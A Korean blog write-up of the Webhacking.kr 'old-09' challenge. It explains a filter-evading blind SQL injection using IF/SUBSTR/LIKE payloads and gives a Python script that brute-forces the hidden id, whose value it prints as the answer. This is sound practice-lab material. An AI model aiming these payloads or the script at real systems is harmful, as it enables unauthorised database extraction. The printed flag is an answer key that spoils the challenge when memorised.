본문 바로가기

Webhacking.kr

old-09

문제 페이지에 접속하면 다음과 같은 화면이 뜬다.

위에보이는 1, 2, 3을 각각 클릭하고 결과를 보자.

1 클릭

2 클릭

3 클릭

  • 조회되는 컬럼은 id와 no 컬럼이다.
  • URL의 no파라미터로 1, 2, 3을 입력하면 거기에 해당하는 id가 나오는 형식이다.
  • no=3인 행의 id는 password이며, 이 값은 Secret 값이다.

이 no 부분에 어떻게 해야 no가 나오는지 보자.

여러 시도 결과 필자가 알아낸 필터링되는 문자열들은 이렇게 된다.

select

/

*

공백

limit

from

일단 필자가 알아낸 것은 이 정도다.

그럼 여기서 no=3인 행의 id는 다음의 두 단계를 걸쳐 찾기를 목표로 한다.

  • no=3인 행의 id값의 길이 추출
  • no=3인 행의 id값 추출

1. id값 길이 추출

다음의 Payload를 활용했다.

IF(SUBSTR(id,{},1)LIKE({}),3,0)

 

 

문제의 서버 내부의 쿼리가 다음의 형태라고 가정해보자.

SELECT *
FROM [테이블명]
WHERE NO = [사용자 입력값]

NO ID

1 apple
2 banana
3 [FLAG 값]

 

일반적으로 사용자가 1을 입력하면 쿼리는 다음처럼 실행된다.

SELECT * FROM [테이블명] WHERE NO = 1

그러면 NO = 1인 행이 조회 될 것이다.

2. 사용자 입력에 IF()를 넣는 경우

사용자 입력값에 다음과 같은 값을 넣는다고 하자.

IF(LENGTH(id)IN(5),1,0)

그러면 실제 쿼리는 다음처럼 된다.

SELECT * FROM [테이블명] WHERE NO=IF(LENGTH(id)IN(5),1,0)

여기서 중요한 점은 IF()가 단독으로 출력되는 것이 아니라는 점이다.

즉, 이것은 아래처럼 실행되는 것이 아니다.

SELECT IF(LENGTH(id) IN (5), 1, 0)
FROM [테이블명]

실제 구조는 다음이다.

WHERE NO = IF(...)

따라서 IF()의 반환 값은 화면에 직접 출력되는 값이 아니라, NO와 비교되는 값으로 사용된다.

MySQL IF() 함수의 의미

MySQL의 IF() 함수는 다음 구조를 가진다.

IF(조건, 참일 때 반환값, 거짓일 때 반환값)

예를 들어:

IF(1=1, 1, 0)

결과는 1이다.

IF(1=2, 1, 0)

결과는 0이다.

따라서 다음 구문은:

IF(LENGTH(id)IN(5),1,0)
  • 현재 행의 id 길이가 5이면 1을 반환하고, 아니면 0을 반환

필자가 헷갈렸던 부분

예를 들어 테이블이 다음과 같다고 하자(문제의 테이블과는 다르다).

NO ID LENGTH(ID)

1 apple 5
2 guest 5
3 root 4

이때 IF(LENGTH(id) IN (5), 1, 0)만 보면 1행과 2행 모두 결과가 1이다.

그래서 필자는 2행의 id도 길이가 5이므로, 2행을 조회할 때도 WHERE NO=1 일 때 쿼리 결과가 나와야 된다고 생각했다.

 

하지만 실제 쿼리는 다음 구조다.

WHERE NO = IF(LENGTH(id) IN (5), 1, 0)

즉, 최종적으로는 각 행마다 다음 비교가 추가로 발생한다 : 현재 행의 NO = IF()의 반환값

행 단위 평가 과정

입력값:

IF(LENGTH(id) IN (5), 1, 0)

 

⇒ 전체 쿼리:

SELECT *
FROM [테이블명]
WHERE NO = IF(LENGTH(id) IN (5), 1, 0)

 

각 행별 평가 결과

NO ID LENGTH(ID) IF 결과 최종 비교 출력 여부

1 admin 5 1 1 = 1 출력
2 guest 5 1 2 = 1 미출력
3 root 4 0 3 = 0 미출력

2행의 ID 길이도 5이므로 IF() 결과는 1이다.

하지만 2행의 NO는 2다.

따라서 최종 조건은 다음처럼 된다.

  • 2=1

이 조건은 거짓이므로 2행은 출력 되지 않는다.

Payload를 다시 보면

IF(LENGTH(id)LIKE({}),3,0)

 

쿼리 구조

SELECT * FROM [테이블명] WHERE NO = IF(LENGTH(id)LIKE({}),3,0)

여기서 {} 자리에 들어가는 값은 조건이 참일 때 반환할 NO 값이다.

IF문이 각 행을 돌면서 id값의 길이를 하나씩 재보다가, 3번째 행의 값이 {}에 있는 값과 같으면 그때 3을 반환한다. 그러면 다음과 같은 쿼리가 비로소 돌아가는 것이다.

SELECT * FROM [테이블명] WHERE NO = 3

이 Payload를 기반으로 no=3인 행의 id 길이를 추출하는 Python Script는 다음과 같다.

import requests
import string

TARGET = "<https://webhacking.kr/challenge/web-09/index.php?no=>"
SUCCESS_INDICATOR = "Secret"

def check_condition(data):
    url = TARGET + data
    try:
        r = requests.get(url)
        return SUCCESS_INDICATOR in r.text
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
        return

def find_password_length():
    found = False

    for i in range(1, 15):
        data = "IF(LENGTH(id)LIKE({}),3,0)".format(i)

        if check_condition(data):
            print(f"ID Length : {i}")
            found = True
            break
    if not found:
        print(f"[-] Could not find db_length")

find_password_length()

⇒ 길이 : 11

id값 추출

Payload

IF(SUBSTR(id,{인덱스 값},1)LIKE({아스키코드 변환값}),3,0)

 

쿼리 구조

SELECT *
FROM [테이블명]
WHERE NO = IF(SUBSTR(id,{인덱스 값},1)LIKE({아스키코드 변환값}),3,0)
  • IF문 안에서 no=3인 id값에서 SUBSTR 함수의 {인덱스 값}의 길이가 {아스키코드 변환 값}에 해당하는 값 탐색
  • 결과가 참이면 SELECT 문에서 쿼리 결과 반환

Python Script

def find_password():
    password = ""
    
    i = 1
    for i in range(1, 12):
        found = False
        for chnum in string.printable:
            data = "IF(SUBSTR(id,{},1)LIKE({}),3,0)".format(i, hex(ord(chnum)))

            if check_condition(data):
                password += chnum
                print(f"[+] Found char {i}: chnum) -> {password}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Database name: {password}")
    return None

find_password()

⇒ password 깂 : alsrkswhaql

전체 Script

import requests
import string

TARGET = "<https://webhacking.kr/challenge/web-09/index.php?no=>"
SUCCESS_INDICATOR = "Secret"

def check_condition(data):
    url = TARGET + data
    try:
        r = requests.get(url)
        return SUCCESS_INDICATOR in r.text
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
        return

def find_password_length():
    found = False

    for i in range(1, 15):
        data = "IF(LENGTH(id)LIKE({}),3,0)".format(i)

        if check_condition(data):
            print(f"ID Length : {i}")
            found = True
            break
    if not found:
        print(f"[-] Could not find db_length")

find_password_length()

def find_password():
    password = ""
    
    i = 1
    for i in range(1, 12):
        found = False
        for chnum in string.printable:
            data = "IF(SUBSTR(id,{},1)LIKE({}),3,0)".format(i, hex(ord(chnum)))

            if check_condition(data):
                password += chnum
                print(f"[+] Found char {i}: chnum) -> {password}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Database name: {password}")
    return None

find_password()

비밀번호 입력

'Webhacking.kr' 카테고리의 다른 글

old-02  (0) 2026.05.12
old-57  (0) 2026.05.12
old-13  (0) 2026.05.12
CHILD  (0) 2026.05.11
BABY  (0) 2026.05.08